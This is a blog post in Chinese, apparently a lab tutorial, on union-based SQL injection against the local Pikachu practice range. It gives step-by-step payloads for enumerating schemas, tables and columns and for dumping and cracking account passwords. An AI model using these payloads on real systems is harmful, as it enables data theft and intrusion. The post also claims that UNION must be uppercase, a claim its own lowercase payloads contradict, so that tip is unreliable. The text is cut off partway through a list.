{"id":76398,"date":"2026-02-22T13:25:51","date_gmt":"2026-02-22T05:25:51","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/76398.html"},"modified":"2026-02-22T13:25:51","modified_gmt":"2026-02-22T05:25:51","slug":"sql-%e8%81%94%e5%90%88%e6%9f%a5%e8%af%a2%e6%b3%a8%e5%85%a5","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/76398.html","title":{"rendered":"SQL \u8054\u5408\u67e5\u8be2\u6ce8\u5165"},"content":{"rendered":"<h4><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"3162\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/02\/20260222052544-699a935892640.png\" width=\"4694\" \/>\u4e00\u3001SQL \u8054\u5408\u67e5\u8be2\u6ce8\u5165 \u8be6\u7ec6\u89e3\u9898\u6b65\u9aa4<\/h4>\n<h5>\u6838\u5fc3\u524d\u63d0<\/h5>\n<ul>\n<li>\u76ee\u6807&#xff1a;\u901a\u8fc7\u8054\u5408\u67e5\u8be2\u6ce8\u5165\u83b7\u53d6\u6570\u636e\u5e93\u654f\u611f\u6570\u636e&#xff08;\u5e93\u540d\u3001\u8868\u540d\u3001\u5217\u540d\u3001\u8d26\u53f7\u5bc6\u7801&#xff09;<\/li>\n<li>\u9002\u7528\u573a\u666f&#xff1a;\u9875\u9762\u6709\u6570\u636e\u56de\u663e\u4f4d&#xff08;\u67e5\u8be2\u7ed3\u679c\u80fd\u5728\u524d\u7aef\u663e\u793a&#xff09;\u3001\u53ef\u901a\u8fc7\u62a5\u9519\u6216\u5e03\u5c14\u8bed\u53e5\u786e\u8ba4\u6ce8\u5165\u70b9<\/li>\n<li>\u6838\u5fc3\u4f9d\u8d56&#xff1a;MySQL \u7684information_schema\u7cfb\u7edf\u5e93&#xff08;\u5b58\u50a8\u6240\u6709\u6570\u636e\u5e93\u5143\u6570\u636e&#xff09;<\/li>\n<\/ul>\n<hr \/>\n<h4>\u4e8c\u3001\u5b8c\u6574\u89e3\u9898\u6b65\u9aa4&#xff08;\u5206 8 \u4e2a\u9636\u6bb5&#xff09;<\/h4>\n<h5>\u9636\u6bb5 1&#xff1a;\u73af\u5883\u51c6\u5907\u4e0e\u5de5\u5177\u914d\u7f6e<\/h5>\n<h6>\u6b65\u9aa4 1.1&#xff1a;\u642d\u5efa\u672c\u5730\u6d4b\u8bd5\u73af\u5883<\/h6>\n<ul>\n<li>\u5b89\u88c5 PHPStudy&#xff0c;\u542f\u52a8 Apache&#043;MySQL \u670d\u52a1<\/li>\n<li>\u5bfc\u5165\u76ae\u5361\u4e18\u9776\u573a&#xff08;\u6216\u81ea\u5b9a\u4e49\u6d4b\u8bd5\u6570\u636e\u5e93&#xff09;&#xff0c;\u786e\u4fdd\u9776\u573a\u53ef\u6b63\u5e38\u8bbf\u95ee&#xff08;\u5982http:\/\/127.0.0.1\/pikachu\/sqli\/union.php&#xff09;<\/li>\n<\/ul>\n<h6>\u6b65\u9aa4 1.2&#xff1a;\u914d\u7f6e\u6293\u5305\u5de5\u5177&#xff08;\u706b\u72d0 &#043; BP \u63d2\u4ef6&#xff09;<\/h6>\n<li>\u5b89\u88c5\u706b\u72d0\u6d4f\u89c8\u5668&#xff0c;\u6dfb\u52a0 BP&#xff08;Burp Suite&#xff09;\u4ee3\u7406\u63d2\u4ef6<\/li>\n<li>\u63d2\u4ef6\u914d\u7f6e&#xff1a;\n<ul>\n<li>\u4ee3\u7406\u540d\u79f0&#xff1a;\u81ea\u5b9a\u4e49&#xff08;\u5982 \u201cSQL \u6ce8\u5165\u6d4b\u8bd5\u201d&#xff09;<\/li>\n<li>\u4ee3\u7406 IP&#xff1a;127.0.0.1&#xff08;\u672c\u5730\u56de\u73af\u5730\u5740&#xff09;<\/li>\n<li>\u7aef\u53e3&#xff1a;8080&#xff08;\u4e0e BP \u76d1\u542c\u7aef\u53e3\u4e00\u81f4&#xff09;<\/li>\n<\/ul>\n<\/li>\n<li>\u542f\u7528\u63d2\u4ef6&#xff1a;\u5728\u706b\u72d0 \u201c\u4ee3\u7406\u201d \u9009\u9879\u4e2d\u9009\u62e9\u914d\u7f6e\u597d\u7684 BP \u4ee3\u7406&#xff0c;\u786e\u4fdd\u6293\u5305\u6b63\u5e38<\/li>\n<h6>\u6ce8\u610f\u4e8b\u9879<\/h6>\n<ul>\n<li>\u63d2\u4ef6\u5b89\u88c5\u5931\u8d25\u65f6&#xff0c;\u76f4\u63a5\u5c06\u63d2\u4ef6\u6587\u4ef6\u62d6\u5165\u706b\u72d0\u6d4f\u89c8\u5668\u5373\u53ef&#xff0c;\u65e0\u9700\u624b\u52a8\u914d\u7f6e\u8def\u5f84<\/li>\n<li>\u786e\u4fdd BP \u5df2\u542f\u52a8&#xff0c;\u4e14\u76d1\u542c\u7aef\u53e3\u4e0e\u63d2\u4ef6\u914d\u7f6e\u4e00\u81f4&#xff08;\u9ed8\u8ba4 8080&#xff09;&#xff0c;\u5426\u5219\u65e0\u6cd5\u6293\u5305<\/li>\n<\/ul>\n<hr \/>\n<h5>\u9636\u6bb5 2&#xff1a;\u6ce8\u5165\u70b9\u68c0\u6d4b\u4e0e\u6ce8\u5165\u7c7b\u578b\u5224\u65ad<\/h5>\n<h6>\u6b65\u9aa4 2.1&#xff1a;\u5bfb\u627e\u6ce8\u5165\u70b9<\/h6>\n<ul>\n<li>\u76ee\u6807 URL&#xff1a;\u5047\u8bbe\u4e3ahttp:\/\/127.0.0.1\/pikachu\/sqli\/union.php?id&#061;1&#xff08;\u53c2\u6570id\u4e3a\u7591\u4f3c\u6ce8\u5165\u70b9&#xff09;<\/li>\n<li>\u6d4b\u8bd5\u903b\u8f91&#xff1a;\u6240\u6709\u7528\u6237\u53ef\u8f93\u5165\u6570\u636e\u7684\u4f4d\u7f6e&#xff08;URL \u53c2\u6570\u3001\u8868\u5355\u3001Cookie \u7b49&#xff09;\u90fd\u53ef\u80fd\u662f\u6ce8\u5165\u70b9&#xff0c;\u4f18\u5148\u6d4b\u8bd5 URL \u53c2\u6570<\/li>\n<\/ul>\n<h6>\u6b65\u9aa4 2.2&#xff1a;\u5224\u65ad\u6ce8\u5165\u7c7b\u578b&#xff08;\u5b57\u7b26\u578b \/ \u6570\u5b57\u578b&#xff09;<\/h6>\n<p>\u8868\u683c<\/p>\n<table>\n<tr>\u6d4b\u8bd5\u65b9\u6cd5Payload\u9884\u671f\u7ed3\u679c\u7ed3\u8bba<\/tr>\n<tbody>\n<tr>\n<td>\u5355\u5f15\u53f7\u62a5\u9519\u6cd5<\/td>\n<td>?id&#061;1&#039;<\/td>\n<td>\u9875\u9762\u62a5\u9519&#xff0c;\u63d0\u793a \u201c\u5355\u5f15\u53f7\u4e0d\u5339\u914d\u201d&#xff08;\u5982You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near &#039;&#039;1&#039;&#039;&#039; at line 1&#xff09;<\/td>\n<td>\u5b57\u7b26\u578b\u6ce8\u5165&#xff08;\u53c2\u6570\u88ab\u5355\u5f15\u53f7\u5305\u88f9&#xff09;<\/td>\n<\/tr>\n<tr>\n<td>\u5355\u5f15\u53f7\u62a5\u9519\u6cd5<\/td>\n<td>?id&#061;1&#039;<\/td>\n<td>\u9875\u9762\u65e0\u62a5\u9519&#xff0c;\u4ec5\u663e\u793a \u201c\u67e5\u8be2\u5931\u8d25\u201d<\/td>\n<td>\u6570\u5b57\u578b\u6ce8\u5165&#xff08;\u53c2\u6570\u65e0\u5f15\u53f7\u5305\u88f9&#xff09;<\/td>\n<\/tr>\n<tr>\n<td>\u5e03\u5c14\u8bed\u53e5\u9a8c\u8bc1<\/td>\n<td>\u5b57\u7b26\u578b&#xff1a;?id&#061;1&#039; and 1&#061;1 &#8211;&#043;<\/td>\n<td>\u9875\u9762\u6b63\u5e38\u663e\u793a&#xff08;\u67e5\u8be2\u6210\u529f&#xff09;<\/td>\n<td>\u786e\u8ba4\u5b57\u7b26\u578b\u6ce8\u5165<\/td>\n<\/tr>\n<tr>\n<td>\u5e03\u5c14\u8bed\u53e5\u9a8c\u8bc1<\/td>\n<td>\u6570\u5b57\u578b&#xff1a;?id&#061;1 and 1&#061;2<\/td>\n<td>\u9875\u9762\u663e\u793a \u201c\u67e5\u8be2\u5931\u8d25\u201d<\/td>\n<td>\u786e\u8ba4\u6570\u5b57\u578b\u6ce8\u5165<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h6>\u6ce8\u610f\u4e8b\u9879<\/h6>\n<ul>\n<li>\u5b57\u7b26\u578b\u6ce8\u5165\u5fc5\u987b\u7528&#8211;&#043;\u95ed\u5408\u540e\u7eed\u8bed\u53e5&#xff08;&#043;\u5728 URL \u4e2d\u7f16\u7801\u4e3a\u7a7a\u683c&#xff0c;&#8211;\u4e3a SQL \u6ce8\u91ca\u7b26&#xff09;&#xff0c;\u4e0d\u53ef\u7528#&#xff08;#\u5728 URL \u4e2d\u662f\u7247\u6bb5 ID \u6807\u8bc6&#xff0c;\u6570\u636e\u5e93\u65e0\u6cd5\u8bc6\u522b&#xff09;<\/li>\n<li>\u82e5\u9875\u9762\u65e0\u62a5\u9519&#xff0c;\u53ef\u901a\u8fc7and 1&#061;1\/and 1&#061;2\u7684\u5e03\u5c14\u7ed3\u679c\u5224\u65ad\u6ce8\u5165\u70b9\u662f\u5426\u5b58\u5728&#xff08;\u6b63\u5e38\u663e\u793a \/ \u67e5\u8be2\u5931\u8d25\u5219\u5b58\u5728\u6ce8\u5165&#xff09;<\/li>\n<\/ul>\n<hr \/>\n<h5>\u9636\u6bb5 3&#xff1a;\u5224\u65ad\u539f\u59cb\u67e5\u8be2\u8bed\u53e5\u7684\u5217\u6570&#xff08;\u5173\u952e\u6b65\u9aa4&#xff09;<\/h5>\n<h6>\u6838\u5fc3\u76ee\u7684&#xff1a;\u8054\u5408\u67e5\u8be2\u8981\u6c42UNION\u524d\u540e\u7684SELECT\u8bed\u53e5\u5217\u6570\u4e00\u81f4&#xff0c;\u9700\u5148\u786e\u5b9a\u539f\u59cb\u67e5\u8be2\u7684\u5217\u6570<\/h6>\n<h6>\u6b65\u9aa4 3.1&#xff1a;\u4f7f\u7528ORDER BY\u5224\u65ad\u5217\u6570&#xff08;\u9ad8\u6548&#xff09;<\/h6>\n<ul>\n<li>Payload \u683c\u5f0f&#xff08;\u5b57\u7b26\u578b&#xff09;&#xff1a;?id&#061;1&#039; order by N &#8211;&#043;<\/li>\n<li>Payload \u683c\u5f0f&#xff08;\u6570\u5b57\u578b&#xff09;&#xff1a;?id&#061;1 order by N<\/li>\n<li>\u6d4b\u8bd5\u903b\u8f91&#xff08;\u4e8c\u5206\u6cd5&#xff09;&#xff1a;\n<li>\u5148\u8bd5order by 10 \u2192 \u9875\u9762\u62a5\u9519&#xff08;\u65e0\u7b2c 10 \u5217&#xff09;<\/li>\n<li>\u8bd5order by 5 \u2192 \u9875\u9762\u62a5\u9519&#xff08;\u65e0\u7b2c 5 \u5217&#xff09;<\/li>\n<li>\u8bd5order by 3 \u2192 \u9875\u9762\u6b63\u5e38&#xff08;\u6709\u7b2c 3 \u5217&#xff09;<\/li>\n<li>\u8bd5order by 4 \u2192 \u9875\u9762\u62a5\u9519&#xff08;\u65e0\u7b2c 4 \u5217&#xff09;<\/li>\n<li>\u7ed3\u8bba&#xff1a;\u539f\u59cb\u67e5\u8be2\u5217\u6570\u4e3a 3<\/li>\n<\/li>\n<\/ul>\n<h6>\u6b65\u9aa4 3.2&#xff1a;\u5907\u7528\u65b9\u6cd5&#xff08;UNION SELECT\u9010\u4e2a\u5c1d\u8bd5&#xff09;<\/h6>\n<ul>\n<li>\u5b57\u7b26\u578b Payload&#xff1a;?id&#061;1&#039; union select 1 &#8211;&#043; \u2192 \u62a5\u9519&#xff08;\u5217\u6570\u4e0d\u5339\u914d&#xff09;<\/li>\n<li>\u5b57\u7b26\u578b Payload&#xff1a;?id&#061;1&#039; union select 1,2 &#8211;&#043; \u2192 \u62a5\u9519&#xff08;\u5217\u6570\u4e0d\u5339\u914d&#xff09;<\/li>\n<li>\u5b57\u7b26\u578b Payload&#xff1a;?id&#061;1&#039; union select 1,2,3 &#8211;&#043; \u2192 \u6b63\u5e38\u663e\u793a&#xff08;\u5217\u6570\u5339\u914d&#xff09;<\/li>\n<\/ul>\n<h6>\u6ce8\u610f\u4e8b\u9879<\/h6>\n<ul>\n<li>ORDER BY N\u4e2dN\u4ee3\u8868 \u201c\u6309\u7b2c N \u5217\u6392\u5e8f\u201d&#xff0c;\u8d85\u8fc7\u5b9e\u9645\u5217\u6570\u5219\u62a5\u9519&#xff0c;\u662f\u5224\u65ad\u5217\u6570\u7684\u6700\u4f18\u65b9\u6cd5<\/li>\n<li>\u82e5\u5217\u6570\u8f83\u591a&#xff08;\u5982 20 \u5217&#xff09;&#xff0c;\u4f18\u5148\u7528\u4e8c\u5206\u6cd5&#xff0c;\u907f\u514d\u9010\u4e2a\u5c1d\u8bd5\u6d6a\u8d39\u65f6\u95f4<\/li>\n<li>\u5b57\u7b26\u578b\u6ce8\u5165\u5fc5\u987b\u5e26&#8211;&#043;\u6ce8\u91ca&#xff0c;\u5426\u5219\u4f1a\u56e0\u8bed\u6cd5\u9519\u8bef\u5bfc\u81f4\u5224\u65ad\u5931\u6548<\/li>\n<\/ul>\n<hr \/>\n<h5>\u9636\u6bb5 4&#xff1a;\u4f7f\u539f\u59cb\u67e5\u8be2\u7ed3\u679c\u4e3a\u7a7a&#xff08;\u63a7\u5236\u56de\u663e&#xff09;<\/h5>\n<h6>\u6838\u5fc3\u76ee\u7684&#xff1a;\u8ba9\u539f\u59cb\u67e5\u8be2\u65e0\u7ed3\u679c&#xff0c;\u4f7fUNION\u540e\u7684\u81ea\u5b9a\u4e49\u67e5\u8be2\u7ed3\u679c\u5728\u524d\u7aef\u663e\u793a<\/h6>\n<h6>\u6b65\u9aa4 4.1&#xff1a;\u6784\u9020\u7a7a\u7ed3\u679c Payload<\/h6>\n<ul>\n<li>\u5b57\u7b26\u578b&#xff1a;?id&#061;1&#039; and 1&#061;2 union select 1,2,3 &#8211;&#043;&#xff08;and 1&#061;2\u4f7f\u539f\u59cb\u67e5\u8be2\u4e3a\u7a7a&#xff09;<\/li>\n<li>\u6570\u5b57\u578b&#xff1a;?id&#061;-1 union select 1,2,3&#xff08;id&#061;-1\u4e3a\u4e0d\u5b58\u5728\u7684\u503c&#xff0c;\u539f\u59cb\u67e5\u8be2\u4e3a\u7a7a&#xff09;<\/li>\n<\/ul>\n<h6>\u6ce8\u610f\u4e8b\u9879<\/h6>\n<ul>\n<li>\u5fc5\u987b\u786e\u4fdd\u539f\u59cb\u67e5\u8be2\u65e0\u7ed3\u679c&#xff0c;\u5426\u5219\u81ea\u5b9a\u4e49\u67e5\u8be2\u7ed3\u679c\u4f1a\u88ab\u539f\u59cb\u7ed3\u679c\u8986\u76d6&#xff0c;\u65e0\u6cd5\u770b\u5230\u56de\u663e<\/li>\n<li>\u9664\u4e86and 1&#061;2\u548c\u8d1f ID&#xff0c;\u8fd8\u53ef\u4f7f\u7528\u968f\u673a\u4e0d\u5b58\u5728\u7684\u503c&#xff08;\u5982id&#061;9999&#xff09;<\/li>\n<\/ul>\n<hr \/>\n<h5>\u9636\u6bb5 5&#xff1a;\u5224\u65ad\u6570\u636e\u56de\u663e\u4f4d<\/h5>\n<h6>\u6838\u5fc3\u76ee\u7684&#xff1a;\u786e\u5b9aUNION SELECT\u4e2d\u54ea\u4e9b\u5217\u7684\u7ed3\u679c\u4f1a\u5728\u524d\u7aef\u663e\u793a&#xff08;\u56de\u663e\u4f4d&#xff09;<\/h6>\n<h6>\u6b65\u9aa4 5.1&#xff1a;\u6784\u9020\u56de\u663e\u6d4b\u8bd5 Payload<\/h6>\n<ul>\n<li>\u5b57\u7b26\u578b&#xff1a;?id&#061;1&#039; and 1&#061;2 union select 1,2,3 &#8211;&#043;<\/li>\n<li>\u9875\u9762\u663e\u793a\u7ed3\u679c&#xff1a;\u5047\u8bbe\u9875\u9762\u663e\u793a \u201c2\u201d \u548c \u201c3\u201d&#xff0c;\u4e0d\u663e\u793a \u201c1\u201d<\/li>\n<li>\u7ed3\u8bba&#xff1a;\u7b2c 2 \u5217\u548c\u7b2c 3 \u5217\u662f\u56de\u663e\u4f4d&#xff08;\u540e\u7eed\u67e5\u8be2\u9700\u5c06\u76ee\u6807\u6570\u636e\u653e\u5728\u8fd9\u4e24\u5217&#xff09;<\/li>\n<\/ul>\n<h6>\u6ce8\u610f\u4e8b\u9879<\/h6>\n<ul>\n<li>\u56de\u663e\u4f4d\u53ef\u80fd\u662f 1 \u4e2a\u6216\u591a\u4e2a&#xff0c;\u9700\u901a\u8fc7\u6570\u5b57\u5360\u4f4d\u660e\u786e\u5224\u65ad<\/li>\n<li>\u82e5\u6240\u6709\u5217\u90fd\u4e0d\u56de\u663e&#xff0c;\u8bf4\u660e\u8054\u5408\u67e5\u8be2\u4e0d\u9002\u7528&#xff0c;\u9700\u6362\u62a5\u9519\u6ce8\u5165\u6216\u76f2\u6ce8<\/li>\n<\/ul>\n<hr \/>\n<h5>\u9636\u6bb5 6&#xff1a;\u5206\u5c42\u83b7\u53d6\u6570\u636e\u5e93\u5143\u6570\u636e&#xff08;\u5e93\u540d\u2192\u8868\u540d\u2192\u5217\u540d&#xff09;<\/h5>\n<h6>\u6838\u5fc3\u4f9d\u8d56&#xff1a;information_schema\u7cfb\u7edf\u5e93\u7684 3 \u5f20\u6838\u5fc3\u8868<\/h6>\n<p>\u8868\u683c<\/p>\n<table>\n<tr>\u7cfb\u7edf\u8868\u540d\u6838\u5fc3\u5b57\u6bb5\u529f\u80fd<\/tr>\n<tbody>\n<tr>\n<td>SCHEMATA<\/td>\n<td>SCHEMA_NAME<\/td>\n<td>\u5b58\u50a8\u6240\u6709\u6570\u636e\u5e93\u540d<\/td>\n<\/tr>\n<tr>\n<td>TABLES<\/td>\n<td>TABLE_SCHEMA&#xff08;\u5e93\u540d&#xff09;\u3001TABLE_NAME&#xff08;\u8868\u540d&#xff09;<\/td>\n<td>\u5b58\u50a8\u6240\u6709\u6570\u636e\u8868\u540d&#xff08;\u4e0e\u5e93\u540d\u5173\u8054&#xff09;<\/td>\n<\/tr>\n<tr>\n<td>COLUMNS<\/td>\n<td>TABLE_SCHEMA&#xff08;\u5e93\u540d&#xff09;\u3001TABLE_NAME&#xff08;\u8868\u540d&#xff09;\u3001COLUMN_NAME&#xff08;\u5217\u540d&#xff09;<\/td>\n<td>\u5b58\u50a8\u6240\u6709\u5b57\u6bb5\u540d&#xff08;\u4e0e\u5e93\u540d\u3001\u8868\u540d\u5173\u8054&#xff09;<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h6>\u6b65\u9aa4 6.1&#xff1a;\u83b7\u53d6\u5f53\u524d\u6570\u636e\u5e93\u540d<\/h6>\n<ul>\n<li>\u5b57\u7b26\u578b Payload&#xff08;\u5229\u7528\u56de\u663e\u4f4d 2 \u548c 3&#xff09;&#xff1a;\n<p>plaintext<\/p>\n<p>?id&#061;1&#039; and 1&#061;2 union select 1,database(),version() &#8211;&#043;<\/p>\n<\/li>\n<li>\u9884\u671f\u7ed3\u679c&#xff1a;\u9875\u9762\u663e\u793a\u5f53\u524d\u6570\u636e\u5e93\u540d&#xff08;\u5982pikachu&#xff09;\u548c\u6570\u636e\u5e93\u7248\u672c&#xff08;\u59825.5.3&#xff09;<\/li>\n<\/ul>\n<h6>\u6b65\u9aa4 6.2&#xff1a;\u83b7\u53d6\u76ee\u6807\u6570\u636e\u5e93\u7684\u8868\u540d<\/h6>\n<ul>\n<li>\u9700\u6c42&#xff1a;\u83b7\u53d6pikachu\u6570\u636e\u5e93\u4e0b\u7684\u6240\u6709\u8868\u540d<\/li>\n<li>\u65b9\u6cd5 1&#xff1a;\u9010\u4e2a\u83b7\u53d6&#xff08;LIMIT\u5206\u9875&#xff09;\n<p>plaintext<\/p>\n<p>?id&#061;1&#039; and 1&#061;2 union select 1,(select table_name from information_schema.tables where table_schema&#061;&#039;pikachu&#039; limit 0,1),3 &#8211;&#043;<\/p>\n<ul>\n<li>limit 0,1&#xff1a;\u83b7\u53d6\u7b2c 1 \u4e2a\u8868\u540d&#xff08;\u5982user&#xff09;<\/li>\n<li>limit 1,1&#xff1a;\u83b7\u53d6\u7b2c 2 \u4e2a\u8868\u540d&#xff08;\u5982member&#xff09;<\/li>\n<li>limit 2,1&#xff1a;\u83b7\u53d6\u7b2c 3 \u4e2a\u8868\u540d&#xff08;\u5982flag&#xff09;<\/li>\n<\/ul>\n<\/li>\n<li>\u65b9\u6cd5 2&#xff1a;\u6279\u91cf\u83b7\u53d6&#xff08;group_concat\u8fde\u63a5&#xff09;\n<p>plaintext<\/p>\n<p>?id&#061;1&#039; and 1&#061;2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema&#061;&#039;pikachu&#039;),3 &#8211;&#043;<\/p>\n<ul>\n<li>\u9884\u671f\u7ed3\u679c&#xff1a;\u9875\u9762\u663e\u793a\u6240\u6709\u8868\u540d&#xff08;\u5982user,member,flag&#xff09;<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h6>\u6b65\u9aa4 6.3&#xff1a;\u83b7\u53d6\u76ee\u6807\u8868\u7684\u5217\u540d<\/h6>\n<ul>\n<li>\u9700\u6c42&#xff1a;\u83b7\u53d6pikachu\u6570\u636e\u5e93\u4e0buser\u8868\u7684\u6240\u6709\u5217\u540d<\/li>\n<li>\u65b9\u6cd5 1&#xff1a;\u9010\u4e2a\u83b7\u53d6\n<p>plaintext<\/p>\n<p>?id&#061;1&#039; and 1&#061;2 union select 1,(select column_name from information_schema.columns where table_schema&#061;&#039;pikachu&#039; and table_name&#061;&#039;user&#039; limit 0,1),3 &#8211;&#043;<\/p>\n<ul>\n<li>limit 0,1&#xff1a;\u7b2c 1 \u5217&#xff08;id&#xff09;<\/li>\n<li>limit 1,1&#xff1a;\u7b2c 2 \u5217&#xff08;username&#xff09;<\/li>\n<li>limit 2,1&#xff1a;\u7b2c 3 \u5217&#xff08;password&#xff09;<\/li>\n<\/ul>\n<\/li>\n<li>\u65b9\u6cd5 2&#xff1a;\u6279\u91cf\u83b7\u53d6\n<p>plaintext<\/p>\n<p>?id&#061;1&#039; and 1&#061;2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema&#061;&#039;pikachu&#039; and table_name&#061;&#039;user&#039;),3 &#8211;&#043;<\/p>\n<ul>\n<li>\u9884\u671f\u7ed3\u679c&#xff1a;\u9875\u9762\u663e\u793aid,username,password,level<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h6>\u6ce8\u610f\u4e8b\u9879<\/h6>\n<ul>\n<li>\u82e5\u76ee\u6807\u8868\u540d \/ \u5e93\u540d\u5305\u542b\u7279\u6b8a\u5b57\u7b26&#xff0c;\u6216\u88ab\u5355\u5f15\u53f7\u8fc7\u6ee4&#xff0c;\u53ef\u5c06\u540d\u79f0\u8f6c\u6362\u4e3a 16 \u8fdb\u5236&#xff08;\u5982pikachu\u21920x70696B61636875&#xff09;&#xff0c;Payload \u793a\u4f8b&#xff1a;\n<p>plaintext<\/p>\n<p>?id&#061;1&#039; and 1&#061;2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema&#061;0x70696B61636875),3 &#8211;&#043;<\/p>\n<\/li>\n<li>16 \u8fdb\u5236\u8f6c\u6362\u53ef\u901a\u8fc7 \u201c\u5c0f\u8475\u591a\u529f\u80fd\u8f6c\u6362\u5de5\u5177\u201d \u5b9e\u73b0&#xff0c;\u65e0\u9700\u624b\u52a8\u8ba1\u7b97<\/li>\n<\/ul>\n<hr \/>\n<h5>\u9636\u6bb5 7&#xff1a;\u83b7\u53d6\u654f\u611f\u6570\u636e&#xff08;\u8d26\u53f7\u5bc6\u7801&#xff09;<\/h5>\n<h6>\u6b65\u9aa4 7.1&#xff1a;\u83b7\u53d6\u76ee\u6807\u5217\u7684\u5177\u4f53\u6570\u636e<\/h6>\n<ul>\n<li>\u9700\u6c42&#xff1a;\u83b7\u53d6user\u8868\u4e2dusername\u548cpassword\u5b57\u6bb5\u7684\u6570\u636e<\/li>\n<li>\u65b9\u6cd5 1&#xff1a;\u9010\u4e2a\u83b7\u53d6&#xff08;LIMIT\u5206\u9875&#xff09;\n<p>plaintext<\/p>\n<p>?id&#061;1&#039; and 1&#061;2 union select 1,username,password from pikachu.user limit 0,1 &#8211;&#043;<\/p>\n<ul>\n<li>\u9884\u671f\u7ed3\u679c&#xff1a;\u9875\u9762\u663e\u793aadmin\u548ce10adc3949ba59abbe56e057f20f883e&#xff08;MD5 \u52a0\u5bc6\u540e\u7684\u5bc6\u7801&#xff09;<\/li>\n<\/ul>\n<\/li>\n<li>\u65b9\u6cd5 2&#xff1a;\u6279\u91cf\u83b7\u53d6&#xff08;group_concat&#xff09;\n<p>plaintext<\/p>\n<p>?id&#061;1&#039; and 1&#061;2 union select 1,group_concat(username),group_concat(password) from pikachu.user &#8211;&#043;<\/p>\n<ul>\n<li>\u9884\u671f\u7ed3\u679c&#xff1a;\u9875\u9762\u663e\u793aadmin,pikachu,test\u548ce10adc3949ba59abbe56e057f20f883e,123456,test123<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h6>\u6b65\u9aa4 7.2&#xff1a;\u5bc6\u7801\u89e3\u5bc6&#xff08;MD5&#xff09;<\/h6>\n<ul>\n<li>\u8bbf\u95ee MD5 \u5728\u7ebf\u89e3\u5bc6\u7f51\u7ad9&#xff08;\u5982https:\/\/www.cmd5.com\/&#xff09;<\/li>\n<li>\u8f93\u5165\u52a0\u5bc6\u5bc6\u7801&#xff08;\u5982e10adc3949ba59abbe56e057f20f883e&#xff09;&#xff0c;\u89e3\u5bc6\u5f97\u5230\u660e\u6587123456<\/li>\n<\/ul>\n<h6>\u6ce8\u610f\u4e8b\u9879<\/h6>\n<ul>\n<li>\u82e5\u5bc6\u7801\u662f\u5f3a\u52a0\u5bc6&#xff08;\u5982 SHA256&#xff09;&#xff0c;\u514d\u8d39\u5728\u7ebf\u5de5\u5177\u53ef\u80fd\u65e0\u6cd5\u89e3\u5bc6&#xff0c;\u9700\u4f7f\u7528\u5b57\u5178\u7206\u7834<\/li>\n<li>\u6279\u91cf\u83b7\u53d6\u65f6&#xff0c;\u82e5\u6570\u636e\u8fc7\u591a\u5bfc\u81f4\u9875\u9762\u663e\u793a\u4e0d\u5168&#xff0c;\u53ef\u62c6\u5206\u67e5\u8be2&#xff08;\u5982\u6309id\u5206\u6bb5&#xff09;<\/li>\n<\/ul>\n<hr \/>\n<h5>\u9636\u6bb5 8&#xff1a;\u6ce8\u5165\u5b8c\u6210\u4e0e\u540e\u7eed\u64cd\u4f5c<\/h5>\n<ul>\n<li>\u6838\u5fc3\u6210\u679c&#xff1a;\u83b7\u53d6\u6570\u636e\u5e93\u540d\u3001\u8868\u540d\u3001\u5217\u540d\u3001\u7ba1\u7406\u5458\u8d26\u53f7\u5bc6\u7801&#xff08;\u5982admin\/123456&#xff09;<\/li>\n<li>\u540e\u7eed\u64cd\u4f5c&#xff1a;\u53ef\u767b\u5f55\u540e\u53f0\u7ba1\u7406\u7cfb\u7edf&#xff0c;\u6216\u8fdb\u4e00\u6b65\u6267\u884c\u6570\u636e\u5e93\u589e\u5220\u6539\u67e5\u3001\u4e0a\u4f20\u6728\u9a6c\u7b49\u64cd\u4f5c&#xff08;\u4ec5\u7528\u4e8e\u5408\u6cd5\u6e17\u900f\u6d4b\u8bd5&#xff09;<\/li>\n<\/ul>\n<hr \/>\n<h4>\u4e09\u3001\u5173\u952e\u6ce8\u610f\u4e8b\u9879&#xff08;\u907f\u5751\u6307\u5357&#xff09;<\/h4>\n<h5>1. \u8bed\u6cd5\u4e0e\u7f16\u7801\u7c7b<\/h5>\n<ul>\n<li>URL \u4e2d\u7279\u6b8a\u5b57\u7b26\u9700\u7f16\u7801&#xff1a;\u7a7a\u683c\u2192%20\u3001\u5355\u5f15\u53f7\u2192%27&#xff08;\u82e5\u76f4\u63a5\u8f93\u5165\u62a5\u9519&#xff0c;\u53ef\u5c1d\u8bd5\u7f16\u7801&#xff09;<\/li>\n<li>\u5b57\u7b26\u578b\u6ce8\u5165\u5fc5\u987b\u95ed\u5408\u5355\u5f15\u53f7 &#043; \u6ce8\u91ca\u540e\u7eed\u8bed\u53e5&#xff0c;\u5426\u5219\u8bed\u6cd5\u9519\u8bef&#xff08;\u5982?id&#061;1&#039; and 1&#061;1 &#8211;&#043;&#xff0c;\u4e0d\u53ef\u7701\u7565&#8211;&#043;&#xff09;<\/li>\n<li>UNION\u5173\u952e\u5b57\u5fc5\u987b\u5927\u5199&#xff08;\u90e8\u5206\u6570\u636e\u5e93\u5bf9\u5927\u5c0f\u5199\u654f\u611f&#xff0c;\u5c0f\u5199\u53ef\u80fd\u5931\u6548&#xff09;<\/li>\n<\/ul>\n<h5>2. 